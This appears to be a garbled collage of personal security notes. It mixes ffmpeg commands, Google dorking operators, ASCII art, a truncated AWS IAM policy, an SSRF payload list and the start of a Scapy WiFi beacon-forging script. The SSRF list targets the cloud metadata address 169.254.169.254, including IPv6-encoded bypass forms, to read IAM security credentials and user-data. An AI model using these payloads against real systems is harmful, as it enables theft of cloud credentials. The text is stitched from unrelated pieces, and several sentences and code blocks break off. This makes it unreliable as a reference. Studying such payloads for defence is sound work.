kawing-ho

ffmpeg

Minimal example: transcode from MP3 to WMA:
ffmpeg -i input.mp3 output.wma

You can get the list of supported formats with:
ffmpeg -formats

You can get the list of installed codecs with:

Filter	Description	Example
allintext	Searches for occurrences of all the keywords given.	`allintext:"keyword"`
intext	Searches for the occurrences of keywords all at once or one at a time.	`intext:"keyword"`
inurl	Searches for a URL matching one of the keywords.	`inurl:"keyword"`
allinurl	Searches for a URL matching all the keywords in the query.	`allinurl:"keyword"`
intitle	Searches for occurrences of keywords in title all or one.	`intitle:"keyword"`


	" _ _ "
	" _ /\|\| . . \|\|\ _ "
	" ( } \\|\|D ' ' ' C\|\|/ { % "
	" \| /\__,=_[_] ' . . ' [_]_=,__/\ \|"
	" \|_\_ \|----\| \|----\| _/_\|"
	" \| \|/ \| \| \| \| \\| \|"
	" \| /_ \| \| \| \| _\ \|"

	It is all fun and games until someone gets hacked!

	{
	"APIGatewayServiceRolePolicy": {
	"Arn": "arn:aws:iam::aws:policy/aws-service-role/APIGatewayServiceRolePolicy",
	"AttachmentCount": 0,
	"CreateDate": "2019-10-22T18:22:01+00:00",
	"DefaultVersionId": "v6",
	"Document": {
	"Statement": [
	{

	## IPv6 Tests
	http://[::ffff:169.254.169.254]
	http://[0:0:0:0:0:ffff:169.254.169.254]

	## AWS
	# Amazon Web Services (No Header Required)
	# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
	http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
	http://169.254.169.254/latest/user-data
	http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]

	#!/usr/bin/env python
	# -- coding: UTF-8 --
	#
	# source: https://www.4armed.com/blog/forging-wifi-beacon-frames-using-scapy/
	#
	# requires:
	# radiotap supported wifi nic/driver (frame injection) (works fine with Ralink RT2571W)
	# iwconfig $iface mode monitor
	# iw dev $iface set channel $channel
	# or